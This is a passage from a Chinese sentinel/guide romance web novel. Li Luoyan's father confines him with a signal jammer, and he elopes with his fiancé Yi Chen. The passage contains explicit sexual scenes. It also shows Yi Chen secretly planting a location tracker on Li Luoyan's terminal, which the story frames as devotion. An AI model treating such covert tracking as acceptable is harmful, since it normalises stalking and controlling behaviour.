他确实是放了普通的信号屏蔽器,可以对没有安装特殊装置的终端进行消息的拦截。因为黎珞言总想着离开家里,他的工作很忙,没办法时时刻刻看着他,只能想出这样的办法。 “你又要关着我了吗?”黎珞言的视线掠过他,看向当初被钉死的窗户,如果不开灯的话,即便是白天,屋内光线也显得昏暗。他垂下眸,不解地说:“可我这次没有做什么错事。” “我不是要关着你。”黎永也觉得自己的话有些苍白无力,他顿了一下,没有要继续解释的意思,抬脚朝着门的方向走去。但临出门前,他还是没忍住,留下一句:“我只是想保护你。” 房间里又只剩下黎珞言一个人。 他坐直了身子,视线扫过房间的每一个角落。这里的每一个摆件、每一样物品的位置他都熟悉得不能再熟悉了,即使接近六年没有回到过这儿,那些记忆也已经深入骨髓了。 任何东西都没有换过位置,黎永有非常严重的强迫症,以至于黎珞言也耳濡目染沿袭了一部分。 黎珞言轻车熟路地走到一个柜子面前,拉开了柜门,他当初画画的工具都在这里,唯一的变化就是画笔、调色盘变成了新的,颜料也换新了。 他想,可能是父亲在来找他之前就做好了不让他出门的准备,特意更换了新的画笔工具,让他不至于在房间里没有事情做。 ……他怎么又被关起来了? 黎珞言突然有点想笑,他自顾自发了会儿呆,发现自己好像确实没有别的事情能做了,于是搬了个椅子坐在窗边,把工具整理好了,放在自己伸手就能碰到的地方。 窗被封死了,显得有些灰沉沉的死气,但关了灯之后,这里已经是房间里最亮的地方了。 黎珞言侧身靠在昏沉的光源旁边,摸了摸自己的右耳,指腹触碰到冰凉的金属质感之后,他的心诡异地定了下来,情绪也稳定成了一条没有波澜的直线。放下手后,他便拿起画笔开始在墙上涂抹画画。 画画总是一个用来消磨时间的好办法,没一会儿黎珞言就专注地沉浸在了画画当中。 除了他正画着的这一区域,房间内墙上的其他地方也随机分布着一些他曾经画过的图案,那些颜料的印记都还没有消失,大概是之前有人在上面涂过某种涂料,便于保存。 门框左下方的墙上画着一个大梨子和小梨子,像是孩童画的,技法不算娴熟,稍显幼稚,但格外生动具有灵气。 * 门被敲响,黎珞言的画笔一顿,沉浸的思维被骤然打断。 执政官把门打开了,提醒道:“现在是睡觉时间了。” 黎珞言不冷不热:“哦。” 黎永朝他伸出手,示意:“终端。” 黎珞言没看他,继续画画,表情很冷,回道:“在床头柜上。” 黎永习惯性在睡前收走黎珞言的终端,他准备出门前,视线不经意间瞥见了门框的两个大小不一的梨子,脚步不由得一顿,一时间不少回忆涌了上来。 对他来说,六年时间并不算长,联邦政务繁多,他整个人几乎都投入在这些工作当中,他只感觉眨眼间,黎珞言就长这么大了,看起来成熟了不少。 黎永忍不住回了头。 黎珞言背对着他,墙上画着两条黑蛇。 体型更大的那条看起来凶悍非常,眼里凶光毕露,黑色鳞片散发着一点彩光,张大的血盆大口露出了尖牙,令人一眼就判定这是一只毒性极强的蛇。 而小的那只盘成了一个小圈,掌心大小,模样乖顺,像一个古朴的手镯。 “你在画什么?”黎永问。 黎珞言恍若未闻,落下最后一笔后,把画笔扔进了桶里,溅起浑浊的水花。 往床边走时,他和黎永简单对视了一眼,便无所谓地移开了视线,上床把被子一盖,仿佛是在对自己说话:“我该睡觉了。” 黎永沉默了一会儿,答了声:“好。”关门前,顺手把灯也关上了。 …… 半夜,黎珞言已经熟睡了,突然脸上爬上一个毛茸茸的玩意儿。他被惊醒,困倦地睁开眼睛,把脸上的东西往上一提,优秀的夜间视力让他看清了这是什么。 “厄斯?你怎么出来了?”黎珞言半梦半醒地睁开一只眼睛,迷迷糊糊问完之后他就把小狮子抱在了怀里,取代了抱枕的位置。 小狮子着急地用爪子挠他,见他还是没反应,就开始跳舞似的在他怀里扑腾起来。 黎珞言猛地睁开眼睛,绿眼睛氤氲着一层倦怠的雾气,抿着唇,一本正经恐吓它:“你再吵我,我就把你扔进垃圾桶。” 小狮子卸了力气,软绵绵地趴了下去,大脑袋示弱地蹭着他:“呜嗷呜嗷。” 黎珞言单手把他拎起来,准备教训一下它。他使劲晃了晃脑袋,让自己稍微清醒了一点,此时敏锐的五感回归,他这才发现窗外传来的持续而有规律的敲打声。 他穿好鞋站起身,小狮子顺势爬到他肩上趴好。 咚咚,咚咚咚。 不是错觉,确实有人在敲窗。 黎珞言扒拉了下窗帘,依旧是被钉死的。和十年前相比,他现在倒是拥有了扯开的能力,但若是真的这样做了,明天如何跟他父亲解释又得编理由。 他想了想,没直接扯开,也抬手敲了敲窗户,表示回应。 一边在心里想,外面是谁啊? 他的第一反应是奚元。毕竟这副画面和十年前的重合度实在太高了。 窗外的敲击声顿了一分钟,旋即又敲响了,一声又一声稳稳敲响,以某种有规律的节奏。 黎珞言立马就排除奚元了,奚元绝对不会这么冷静……所以会是谁? 他这才发现窗户换了材质,这种特殊的玻璃具有极好的隔音效果,较十年前改良了不少,他现在完全听不见外面的说话声了,连模糊的音节也传大不了。 指节敲玻璃的声音清晰地传进耳朵里,黎珞言的手抓到了窗帘边缘,指甲轻轻扣着。 他心里有一个答案,但又实在觉得不太可能。 他怎么可能找到他呢?仅凭三个字母吗? 黎珞言这样想着,但手还是忍不住用了力,忽地撕拉一声。他微微垂眸,看着被自己扯开一个小口的窗帘,尴尬地眨了眨眼睛。 那……反正都这样了…… 黎珞言歪了下头,扯住窗帘,手臂上青筋突起,找准发力点用力一拽。 猛地一声响,窗帘连同窗户一起被拽脱,从房间外摔落了下去,砸在地上,玻璃碎了一地。 黎珞言张了张嘴,看着空荡荡的窗户。 完蛋了。 他立马就要转过身去锁门,刚一转身,窗外就有只手抓住了他的肩。 趴在肩上的小狮子亲昵地蹭了蹭那只手,伸出有倒刺的舌头舔过那只手的手背,留下湿哒哒的淡红色划痕。 黎珞言下意识回过头,对上一双漆黑的眼睛。那双眼睛眸色很淡,却突然小幅度弯了弯,带着点显而易见的笑意。 黎珞言神色微怔,像是平常发呆的模样。 易谌另一只手在碎裂的窗户边上摸了摸,找到一个稍微好使力的地方,干脆利落从外面翻了进来。 黎珞言迅速往后面退了一大步,给易谌留出进来的空间。等到易谌真真切切站在了自己面前后,他便抬了眸,安安静静盯着面前的人看,眼睛一眨不眨。 有时候记忆总是互通的。易谌站在他面前的这一刻,黎珞言忽然想起在联赛里陷入幻境的那一次。他说,每一次他都能找到他。 ——易谌真的找到他了……好神奇。 除了神奇这个词之外,黎珞言就想不到别的形容词了。他的词汇量有些匮乏,但表情却很认真,看着易谌的眼睛,一个字一个字、发自内心地说:“你好厉害。” 易谌把左手往后背了背,藏住了从掌心溢出的被碎玻璃划出的血。他合了合掌心,缓解疼痛,面色紧绷着,嘴上罕见地开起了玩笑:“也不厉害,刚刚差点被窗户带下去了。” 提到窗户,黎珞言立马想起了他刚刚准备做却被打断的事情是什么——门还没锁! 这么大的动静肯定会引起他父亲的注意…… 黎珞言快步走过去,在门被推开一条细缝的瞬间使劲关上了门,动作迅捷地上了锁。 被关在门外的黎永盯着紧闭的门沉默了一小会儿,面色沉沉,使劲叩响了门,嗓音里都夹杂着怒气:“黎珞言,开门。” 门内。黎珞言压低了声音,对易谌说:“你快走吧。” 他瘪了瘪嘴,没办法道:“他有钥匙。” 易谌道:“我们一起走。” 黎珞言的手不自觉抬起,轻轻碰了碰右耳的耳钉。旋即,他摇了摇头。 他不走,易谌便找椅子安然坐下了,一副也不准备走的模样。 黎珞言往后退了步,坐在了床上,向后一仰躺了下去,看着天花板:“那你被他抓住了怎么办?你怎么解释你翻窗进来这件事?” 他的语气有些无力。刚刚还在易谌怀里打滚的小狮子仿佛察觉到了主人的情绪,一下子蔫下来,在他腿上一躺,肚皮朝天,一动不动。 易谌摸了摸小狮子摊开的柔软肚皮,不紧不慢道:“私会。” 黎珞言一下子坐起来,先是严肃制止他的唐突行为:“你别摸他肚子。”接着竟然认真思考起来,重复一遍:“私会?” 易谌没听,摸了摸小狮子的肚子,把绒绒狮子摸得呼噜呼噜叫,舒服得在他怀里打滚。 眼见黎珞言又要制止他了,他才开口道:“我不是把你摸得很舒服吗?” 黎珞言纠正人称,强调道:“你摸的是它……它。” “嗯,我摸的是小狮子。”易谌唇角勾了勾。 “你真的不走吗?”过了会儿,黎珞言指了指门外边,呲了呲牙吓唬他,“他很凶的。” 易谌抬起头,模样也很严肃,像是在讨论什么正事:“可我是来找你私会的,哪有私会几分钟就离开的?” 他坐的刚好是黎珞言画画的椅子,转过身看到了墙上的蛇。他低下头,努力压住自己忍不住上扬的嘴角。 黎珞言没说话,低着头拧着眉,显然是说服自己。突然,他抬眸看向易谌,坚定道:“没事,我会保护你的。” 外面传来钥匙声,黎珞言立马又转了口风,把易谌往窗外推:“你还是快走吧,跑快点。” 易谌看了看门,又看了看黎珞言。他顺着黎珞言的意思翻了出去,稳稳站在了窗外的一个窄窄的凸起上。黎珞言朝他挥挥手,和他道别,示意他快走,却被抓住了手。 “和我一起走吧。”易谌抓着他的手,语气诚恳。 黎珞言眨眨眼睛,忽然变得小小声:“我不能走的。” “为什么?” “因为……”黎珞言绞尽脑汁找借口。 易谌一眼就看穿他这是撒谎的前兆,打断了他:“你真的不愿意和我一起走吗?” 他看着黎珞言的双眼,没有用力抓着黎珞言的手,转而用手指在他的掌心写写画画。他写的是当初黎珞言发给他的单词——sos。 易谌的嗓音有些低,认真起来有种别样的魅力,含着点不明显的笑:“和我私奔吧。” 黎珞言眸光晃动,一眨不眨地盯着他看,似乎是在犹豫:“我……” 他又想摸耳钉了,但易谌在他手上写写画画,让他的手心有点痒,不知道怎么回事,就好像被下了定身咒一样动不了了,抬也抬不起来——任由易谌摆弄他的手。 就在这时,门被打开了。黎珞言回头,和面色冷峻的执政官微一对视,他心念一动,转回头看向易谌。 易谌仍然眸光平静地看着他,没有半分变化,仿佛永远会等着他。 黎珞言倏地弯起眸子,利落地从窗户里边翻身越了出去,脚尖谨慎地踏在那一道凸起的方台上,小心翼翼地站在了易谌旁边。 这里本就不是供人站立的地方,何况此刻还站了两个成年男性。从上面往下看,有种随时会掉下去的紧张刺激感。 黎珞言低眸,想,原来这个位置的视角是这样。 他的心跳声有点快,这样幽静的夜里,大多数人都已经熟睡了的时间段,他竟然站在墙壁上,和另一个人一起……私奔? 即便已经在沿着墙壁往下退了,黎珞言仍然有点难以相信。 黎永是看着黎珞言翻过窗户的,他刚加快了步伐,面前就突然出现了一只巨大狮子,挡住了他的去路。 黎永额角猛地跳起来。 他没想到黎珞言竟然能在他眼皮子底下离开,更没想到这件事就发生在黎珞言回来的第一天夜里。 黎珞言就这么不想待在家里吗? 他没有和黎珞言的精神体大打出手的想法,深呼吸平复着情绪。过了会儿,厄斯走了,他在黎珞言的房间里走了走,在颜料盒下方发现了一张字条。 被盒子压着的字条上写着:【执政官阁下。——易谌留】 黎永使劲闭了闭眼睛,刚刚压下去的火气又有点上来了。 这明显只是一个通知的字条,什么信息也没写,仅仅是为了通知他,黎珞言是和他易谌一起走的。 旋即,终端震声响起,他睁开眼睛,看了眼,又是工作上的事。 黎珞言和他那位未婚夫一起走了,应该是去白塔的宿舍区。那片区域的安全系数不低,黎珞言在那边应该不会有事…… 他顿了顿,说服着自己,旋即接通了电话。 * 白塔的宿舍区说是宿舍区,但其实布局并不像是宿舍,反而更像居民区,也并不在白塔内部,和白塔隔着一段不远的距离。 白塔学员的标配是单人单间,一室一厅。这里住的除了白塔学员外,还有白塔教师以及教职工家人。 易谌牵着黎珞言的手往里走,一路上两人都安安静静的,没有说话。 他走到门前,开了门。 黎珞言先把脑袋探了进去,然后才迈开脚踏进去。他对这里充满了新鲜感,在进门的玄关停下来,眼睛直勾勾望着易谌。 易谌关上门,喉结滚动了下,突然开始紧张了:“你可以进去看看。” 他长这么大都对自己的生活环境安之若素,从肮脏的泥潭里挣扎了起来,拼命从下城区到了上城区,那些日子他都平静地接受了,但此刻,却莫名有一种名为自卑的情绪在心里冒了芽。 黎珞言没有往里面走,而是弯腰低头,扭过脑袋从下面往上看低头的易谌,唤了一声:“易谌。” 易谌垂眸看着他的绿眼睛,握着他的肩让他站直,面上故作平静应道:“嗯。” 黎珞言若有所思道:“我们这样是不是同居了。” 易谌身侧的手指动了下,心里跟着说,对啊,他们同居了! 表面上,他还是绷着一张冰块脸,淡声问:“看起来是这样。那……你愿意吗?” 他仿佛只是随口一问,但心脏却骤然提到了嗓子眼,跳个不停,似乎只要黎珞言给出一个否定的答案,他的心脏就能从咽喉里跳出来。 视线越过黎珞言,他第一次用一种挑剔地眼光审视起自己的房子,越看越觉得不满意。 ……他应该先买一套房子的,至少不能是这么小这么简陋的地方。早知道今天要和黎珞言同居的话,买耳钉的事就应该缓一缓的。让黎珞言住在这种地方…… “算了,还是不要回答了。” “我好喜欢你。” 易谌和黎珞言同时开口,听到对方的话后,他们又同时“啊?”了一声。 黎珞言疑惑道:“为什么不让我回答了?” 易谌一时结巴,说话卡顿起来:“我、我是想着……你怎么、好突然……” 他说话颠三倒四的,就像脑袋突然短路了一样。 黎珞言没有追问他,他很容易被其他的事分散注意力,一会儿就坐在了沙发上,伸着脑袋看沙发旁边囤着的一箱营养液:“怎么买了这么多?” 跳过了这个话题,易谌松了口气,看到那箱营养液,他的话又卡住了。……是因为买一箱打五折。 他知道黎珞言不爱喝营养液,因此大概不会理解他的做法,但顿了顿,还是道:“营养液比较便宜……论箱买比较划算。” 他不想故意去遮掩什么,但说完这话后,方才有些淡去了的自卑又重新升了上来。 “你好聪明。” 易谌抬头,却看见黎珞言学到了一般认真点点头。 “这有什么好夸的?”易谌目光移开,避开了他的视线,但转过身去时,眼里却不自禁地浮现出被夸了之后的笑意。 黎珞言指了指箱子:“我可以拿一个吗?” 易谌同意之后,他就拿了一管咬在嘴里,几口喝完了。 易谌道:“饿了吗?” 黎珞言点点头:“充充电。” 易谌觉得这个说法有点可爱,单是这样看着自己身边的黑发哨兵,他的心里就被一种愉悦的满足感填满了。 过了会儿,黎珞言问他:“你是怎么找到我的?” 易谌心头一颤,想起自己偷偷在他的终端里安装的定位器,糊弄过去:“稍微推理一下就能知道了。” 他趁黎珞言没来得及细想,立马转移话题:“今晚你睡床上吧。” 果不其然,黎珞言立马就转到了第二个话题:“我睡床上?那你睡哪里?” 房间是一室一厅的布局,之前一直只有易谌一个人住,自然只有一张床。易谌随便收拾了下沙发,道:“我睡沙发。反正离天亮也没多久了。” 黎珞言歪了歪头,朝他弯起眼睛,碧绿的眸子里光亮点点。邀请道:“我们一起睡吧。” 易谌侧头看向他,喉咙一瞬间有些干涩。 第 57 章 “接吻吗?现在嘴里都是…… “好。”易谌答应得十分迅速, 甚至没让黎珞言再问第二遍。黎珞言眨了眨眼睛,眼眸微动,轻轻挠了下脸颊。 折腾了大半夜, 两人总算能够躺下睡觉了。黎珞言已经困得快要睁不开眼了, 他一沾床就立马闭上了眼睛。 宿舍是单人床的规格, 虽说并不止于窄得离谱,但容纳两个一米八几的高个男生睡在上面也是有些勉强了。 易谌看着和自己面对面睡着的黎珞言,视线不受控地一点点扫过他的脸庞,像蛇喜欢为自己的所有物打下标记一样,易谌的手隔着一层薄薄的空气,滑过面前哨兵锋利俊朗的五官。 黎珞言这样闭着眼睛的时候,反而不像他睁眼看人时那样透着点温润的柔和, 没有那双总漾着水光的绿色眼睛, 便自内而外散发着一股不易接近的冷意。 易谌今天有些失眠,他保持这个姿势有点久了便屈了屈膝, 试图换个姿势,膝盖却突然碰到了一个心知肚明的地方。 他动作一顿,整个身体僵住了,下意识抬眸看向黎珞言。 黎珞言还没醒, 他眼睛闭着, 看上去睡得很舒服。 易谌的膝盖停在那个位置没动, 若有似无地触碰着那处。手撑着床, 脸一点点地贴近黎珞言的。 黎珞言嘴唇透着健康的粉,被睡梦中的他自己抿得有些湿润, 很好亲的样子。 在即将贴上的那一瞬,易谌停下了靠近的动作,静静地看着黎珞言的眼睛、嘴唇, 过了好一会儿,他轻轻将唇印上黎珞言的额头,声音低得几乎能被一阵风吹走:“晚安。” 被擦得干干净净的玻璃窗里透进来点微不可察的亮光。这么深的夜里,连月光都几近于无。 但在易谌的眼睛里,黎珞言的脸却清楚得宛如开了自动对焦。 说完那两个字后,易谌心里仿佛被温暖柔软的棉花填满了,愉悦又幸福的情绪让他有种浸泡在温水里的感觉,同时一阵睡意袭来。 他正准备睡下,熟睡的黎珞言却突然伸出了一只手臂,手臂横过他的腰际,掌心沿着他的后背往下摸,旋即找好位置扣在了他的腰上,一个用力就将他紧紧抱在了怀里。 黎珞言把头埋在了易谌的肩膀边上,发丝轻轻扫着易谌的下巴,像是把他当成了一个大型抱枕那样紧紧抱着。 易谌担心他醒了,试探性地侧头,观察他的神情,发现他没被自己吵醒后才又放下了心。 但旋即,另一个至关重要的问题又冒了出来。 属于他的未婚夫的滚烫身躯紧贴着他,有些青涩但丝毫不影响这是属于成年哨兵的身体,二十出头的年龄,是极其容易擦枪走火的阶段。 干柴烈火。 易谌脑子里突然跳出这四个字,随着黎珞言抱着他蹭了一下的动作,更是僵住了一动不动,身体却当即有了反应,宽松的裤子完全遮不住,*头抵着黎珞言的小腹,被对方硬硬的腹肌挤得有些难受。 吞咽口水的声音突然响起,在寂静的夜里无比清晰。 易谌额间冒出一点隐忍的汗,不光是脸上有了汗,另一个地方也出了汗,把抵着的那一块蹭得湿哒哒的。 黎珞言身上的肌肉很结实,像其他哨兵一样具有力量感和爆发力,却又带着这个年纪特有的青涩感,并不是很夸张的大块肌肉,反而很漂亮,肌肉线条带着流畅的美感,穿上单薄的T恤后甚至显得有些清瘦。 他现在无比庆幸在上床前给黎珞言找了件T恤套上,而没有让黎珞言直接脱了上衣就上床睡觉。 * 易谌不记得自己是什么时候睡着的了,但他这一觉睡得格外放松香甜,不仅没有因为身边多出来的人感到不安,反而前所未有的安心。 他睡得很沉,迷迷糊糊醒来的时候,就看见睡在自己旁边的哨兵把被子掀开,正伸着头往里面瞧。 易谌刚睡醒,还不太清醒,他垂眸看着黎珞言不经意间卷起了大半的上衣,露出其下的白皙肌肉,胸膛上一闪而过一道淡粉色的长条疤痕。 易谌怀疑自己是不是看错了,刚想仔细看的时候,黎珞言就坐直了身子,T恤随之掉了下去,把身上挡住了。 黎珞言的头发也乱糟糟的,他晚上睡觉很不老实,一直往易谌身上贴,腿也时不时往上搭,简直像个树袋熊,抱他抱得紧紧的。 易谌头发汗湿,但他自己都没注意到,眉头微皱盯着黎珞言被衣服遮住了的胸膛,回忆着自己刚才看见的画面。 黎珞言突然歪着头看向他:“我去洗手间还是你去?” 易谌还在状况外:“嗯?” 黎珞言微微低头,手顺着形状随意摸了摸。 易谌轻轻嘶了一声,他脖颈蹿上一抹潮红,一直延伸到耳朵后面。 睡一张床果然就会出现这样尴尬的情况。 他垂眸往下看,目光像是开了自动跟随一样瞥向了另一处。 黎珞言见他不回答,便准备下床:“那我去洗手间了。” 易谌跟着他的动作微微抬眸,眼神始终未变盯着他的,舔了舔唇,他想起上一次没有做完的事情了。 黎珞言注意到他的视线,没有和他想到一块儿去,表现得极为坦荡,弯眸说:“没事的,就是正常的生理反应。” 他起身进了洗手间。 易谌盯着紧闭的门。黎珞言不知道他宿舍的这个洗手间并不隔音,他能够清晰听见黎珞言变重的呼吸声,感官似乎在这一期间放大了,他连布料摩擦的声音都能听见,完全无法忽略。 他半倚在枕头上,手机械地上下动着,视线没有偏移,仿佛拥有透视能力般死死盯着洗手间的门,忍不住去想,为什么要进洗手间?明明他是他的未婚夫,之前在幻境里都那样了…… 出于某种不为人知的心思,易谌想和他靠得更近一点,再近一点,如果可以一直在一起不分开就好了……可黎珞言的身边太多人了。明明,明明是他一个人的未婚夫…… 易谌闭了闭眼,深呼吸几下后,抽了几张纸擦一擦,xian液弄了一手,等他擦干净后,扔进垃圾桶,发现洗手间的门还关着。 他收拾了一下自己,走到洗手间前,敲了敲门:“好了吗?” 过了几秒,黎珞言的嗓音从里面传来,向来清亮的声音此刻有些闷沉:“还没有……” 易谌:“我可以进来吗?” 窸窸窣窣的声音响起,黎珞言从里面把门打开了,穿戴整齐,似乎是刚洗了手和脸,指尖还在滴水,滴滴答答落在地板上。 易谌视线不自觉往下瞥:“你还没解决……” 黎珞言抿着唇,甩了甩脑袋,额发上的水珠四处甩开。他有些苦恼地说:“出不来……算了,一会儿就下去了。” 他错身准备出去,擦肩而过时易谌却突然拉住了他。 易谌动了动嘴巴,紧绷的脸显出几分紧张:“再试试。” “怎么试……呃……” 黎珞言眼睛微微睁大了点,他慢吞吞低下头,看着易谌黑色的发顶,后背顺势靠在墙上,手抓住门框,五指收紧用上了点力,手指骨节分明。 白T自然垂下,盖住了易谌半个脑袋,只能听见暧昧不清的声音,黎珞言看不见他的脸,于是伸手把下摆撩了起来。 易谌稍微停了动作,仰起头看他,浓密睫毛下漆黑的眼瞳里浸着难受的水汽,莫名削减了他身上那种游离于世界的冰冷,显出几分柔软脆弱来。 黎珞言眼皮微阖,歪了下头。 …… “吐出来。”黎珞言蹲下身,把手伸到嘴边。他嗓音有些低,眼底蕴着点情.欲。 易谌嘴角还沾着点白色梨汁,他喉结滚动了下,旋即张了张嘴,给黎珞言看里面什么也没有了,他唇角似乎勾了一下,舌尖轻轻舔过面前的手。 黎珞言手轻颤了一下,但没缩回去,面色也没变。 易谌脖颈红透了,一种怪异的潮红全然覆上苍白的皮肤,沙哑的嗓音带着磁性:“接吻吗?现在嘴里都是你的味道。” * 转眼就过了几天。 易谌不经常在家,他出门有时就是一整天,不知道是出去干什么,晚上回来就和黎珞言抱着睡觉。 黎珞言的终端在离开家那天没拿回来,不仅如此,他完全是什么也没拿,两手空空地就跟着易谌来了这里。他身上没有终端,没有闲钱也感觉没有必要买新的终端,于是便每天在宿舍楼下闲逛、散步,又或者架起画板写生。 楼下有一些健身器材,这里的布局就和居民楼差不多,很多老师的家人都住在这里,十分具有生活气息。 这天黎珞言依照往常一样往楼下走,嘴里放轻松地小声哼着不成调的曲子。 后方突然传来一声惊讶的温和嗓音:“黎珞言?” 黎珞言怔了一下,旋即回过头,弯弯眸子:“温暻哥。” “你怎么在这儿?”温暻看样子是来收拾东西的,他单肩背着包,浅色的眸子里漾着笑意,“我听说你回家了。” 黎珞言不知道怎么解释,于是含糊道:“因为未婚夫在这里。” 他做出一副这是执政官让他和易谌培养感情的意思,眨了眨眼睛。 温暻笑着点点头,示意他继续走就好,一边快步走上前,和他并肩拉着家常:“怎么感觉你瘦了点?” “啊?怎么会?”黎珞言慢吞吞咬字,“最近没有日常训练,我感觉我都懈怠了。” “就是看你下巴都尖了点,以为你没有好好吃饭。”温暻嗓音带着笑意。 他们边走边聊。 黎珞言运用自己脑海中学到的贫瘠的聊天知识,公式化问道:“温暻哥你来这边做什么的?” “我?”温暻是准备收拾一下自己在这边的东西,拿回温家,没想到在这儿遇见了黎珞言,开口时就成了,“我带了些必需品到这里,这段时间在宿舍里待着……白塔的老师让我住在这里,方便一些事情的安排和沟通……首席也不只是个名头挂着的。” 说到最后,温暻半是调侃半是叹气地说完。 黎珞言便安慰一下他:“那很辛苦了。” 走到楼下,他准备去树下画画了,便和温暻道别,弯起眸说:“下次再……” 他刚一侧头,就看见站在不远处、面色平静看着他们的易谌,话语不自觉卡了一下。 易谌穿着一身黑色,皮肤又苍白宛如没有血色,冷不丁出现在视线中实在吓人一跳,他脸上没什么表情,一言不发地盯着他们,似乎也没有要上前的意思。 第 58 章 颇有手法地揉捏着哨兵身…… 易谌今天回来的格外早。黎珞言没想到他会这个时间回来, 于是才刚刚下楼,自由活动时间还未开始就终止了,便又转过身跟着易谌一同开始上楼。 易谌走向黎珞言时, 和温暻擦肩而过, 他们短暂地对视了几秒, 两人都没有太多的交流,便移开了视线。 “你今天回来得好早喔。”黎珞言边走边说。 易谌手里提着袋子,言简意赅:“事情提前办完了,担心你一个人在家里无聊,就回来了。” 黎珞言弯弯眸子,凑近问他:“你是不是想我了。” 他眸子弯得像月牙,瞳色碧绿, 含了汪春水似的, 随着他歪头的动作荡漾起来。 易谌侧头看了他一眼,并不像是说情话的语气, 反而像是陈述事实:“每天都很想你,但今天事情少。” 易谌的情绪看上去十分稳定,一路上有问有答的,嗓音沉稳, 似乎丝毫没有被不久前撞见的那一幕影响。 黎珞言垂眸看了他手里的袋子, 不知道里面装了什么, 探着头想看, 但又觉得应该有分寸感,于是时不时朝袋子投去视线, 易谌就像没看见似的,没有主动给他看里面的东西。 走到门口了,黎珞言抿了抿唇, 步伐加快了点,走到前面去开门。 易谌看着他的背影,手揣进了外套口袋里,口袋显出一个方形盒子的形状。他指腹轻轻摩挲着盒子外壁,微微敛眸。 进房后,易谌进了厨房,袋子顺手放在厨房操作台上,黎珞言这才看清楚里面装的是肉、菜、调味品等。 黎珞言靠在厨房门口,不太确定地、试探性问道:“你要做饭?” 易谌看着这一袋子还需要经过处理的食物也感到有点头疼,但还是故作淡定回答:“我试试。” 这个肉……和这个菜,应该直接剁碎了可以了吧…… 他眯了眯眼,若有所思盯着袋子里的食材,斟酌着如何加工。 黎珞言看他这么胸有成竹的模样,心觉这边应该不需要他,便去了客厅。 还没过多久,黎珞言听见“砰”的一声巨响,跟爆炸了没什么差别,是从厨房里面传来的。他立马起身去查看情况,快到门口的时候,易谌眼疾手快从里面关上了门。 门被锁上了,黎珞言犹豫着要不要暴力开门,就听见里面传来易谌平静淡然的声音:“没事,是我的,嗯……个人习惯。” 听声音语气,仿佛一切都在他的掌握之中。 浓烟从门的缝隙里争先恐后地钻出来,无论任何一个人看都完全不像是没事的样子,黎珞言想,野炊都没有这么大烟吧。 黎珞言抿着唇,停顿一下,问道:“你的个人习惯是不是不太安全?”这个习惯是不是有点废厨房…… “还好,”易谌的声线依旧很稳,十分能够让人信服,联邦星级大厨都没有他这么平静坦然,“放心。” 黎珞言不太能放心,慢吞吞坐回沙发上,眼睛始终盯着厨房的门。 …… 最后盛到餐桌上的东西,黑得糊成一团了,如果是专业人士的话,倒是可以依稀透过食物特征辨认出原材料是什么。 黎珞言咬着筷子,盯着餐桌上的两盘菜,好一会儿后,他抬眸看向易谌。 他现在知道为什么之前从来没见易谌进过厨房了……哦,那箱囤积的营养液也知道是什么原因了。 他伸出筷子,试探性地戳了戳一盘菜,神情严肃:“我尝尝白菜。” 易谌纠正道:“这是五花肉。” 黎珞言从善如流:“我尝尝五花肉。” 五花肉进嘴的一瞬间,黎珞言眨了眨眼,眼睛亮亮的,嘴里嚼嚼嚼。 易谌突然有些紧张,呼吸都郑重起来,目不转睛地盯着他。 黎珞言咽下去后,吃了一大口米饭,一边抽空点头,就像是被美味食物冲击到不想说话了一样,只给出一句:“好吃好吃。” 易谌几乎没吃过正常的食物,他对食物的味道认知并不清晰。他盯着黎珞言的表情好一会儿,实在看不出有任何虚假的成分,于是提着的心放了下来,坐下来一起吃饭。 他吃的时候面色如常,就像失去了味觉一样,没有对食物的美味与否做出回应,塞进嘴里, 黎珞言趁他专心吃饭的时候,扭过头张了张嘴,立马把舌头吐出来,表情皱巴巴的,好咸好咸,真的不会吃中毒吗? 他又嘴里塞了一大口米饭,把那股味强行压下去。等到碗里那碗饭终于吃完了,他咬了管营养液,突然有些感慨:“我忽然觉得,营养液还蛮好喝的。” 易谌把筷子放在碗上,后知后觉察觉到:“其实不太好吃是吗?抱歉……我没发现。” 他往黎珞言面前放了几管别的口味的营养液,旋即干脆利落把菜倒了。 洗手时,他把方才做菜划出的伤口上的创口贴取了下来,不让水闷在伤口里影响透气。 黎珞言站起了身想阻止一下,但犹豫了瞬,又坐下了,他声音小得像是在自言自语:“也还好,我也不是很挑食。” 他看着桌上摆的其他口味的营养液,想起前一天他好像是随口说过一句觉得单一口味很容易腻…… 突然,他感觉从尾椎骨传来一阵酥麻感,立即睁大眼睛往后看。 易谌洗完手回来了,沾着水的手抓着他的尾巴,摇晃起来,把他尾巴上的毛都给浸湿了。 黎珞言还没来得及反应尾巴浸湿了不舒服,就突然想到,尾巴?他怎么又有尾巴了?尾巴怎么又冒出来了? 易谌表情严肃无比,一边舍不得松手地来回揉摸他的尾巴,一边骤紧眉头有些愧疚地问:“你是不是中毒了?” 他中毒了? 黎珞言感觉这不太像是中毒的反应,反而有点像…… 他被空气中的血腥味吸引着看去,视线被牵引着落在易谌的伤口上——很长的一道划痕伤口,目前已经凝血了。 空气中高浓度的血液气味让他脑子有点恍惚,他还不足以想到对刀.枪等工具掌握十分熟练的黑发向导怎么会在做饭这种事情上把手弄出这么大一条口子。 黎珞言的眼睛倏地变成竖瞳,空气中的血腥味太浓了。他伸手将易谌紧紧搂住,声音时断时续,额前冒出了细汗,难受极了:“易谌……” 易谌立刻回抱住了他,及时把带伤的手送到了黎珞言嘴边,黎珞言用牙齿轻轻触碰,旋即就开始舔咬。方才凝血的伤口随着他的动作扩大了,鲜血不断涌了出来然后被舌头卷入口中。 疼痛感清晰无比,易谌控制不住小兽一样渴求血液的哨兵,手稍微有些生理性地颤抖,但始终没有躲开。他对此似乎甘之如饴。 黎珞言看不见的地方,易谌眼眸微暗,漆黑的眼瞳里情绪翻涌,唇角微不可察勾了一下。 回来时撞见黎珞言和那个讨厌的向导言笑晏晏的场面在眼前晃了一瞬,随后就消失了,他耳朵接收到的声音全部来自于紧紧搂着自己的未婚夫。 “抱歉,我忘记遮盖伤口了,”说着这样的话,易谌脸上却没有丝毫懊恼后悔的情绪,他嗓音放得很低,关心着他,“你现在很难受吗?” 易谌偏头追逐着黎珞言的唇,轻轻吻上去,交换了一个血腥味的吻,稍微分离时,他说:“我给你做一次深度疏导吧,这样以后就不会应激出现耳朵和尾巴了……” 黎珞言的注意力被他吸引过来,锋利的眉眼此刻显出几分掠夺的锐气来,不像平常弯着眼睛那样温和。 他伸手扣住易谌的后脑勺,没等易谌说完就迫不及待用嘴撞了上去,尖利的牙咬着他的唇和舌头,带着点横冲直撞的青涩。 易谌两只手都解放了,低着眸,颇有手法地揉捏着哨兵身上毛茸茸的兽化特征。 第 59 章 “我知道,这个叫——事…… 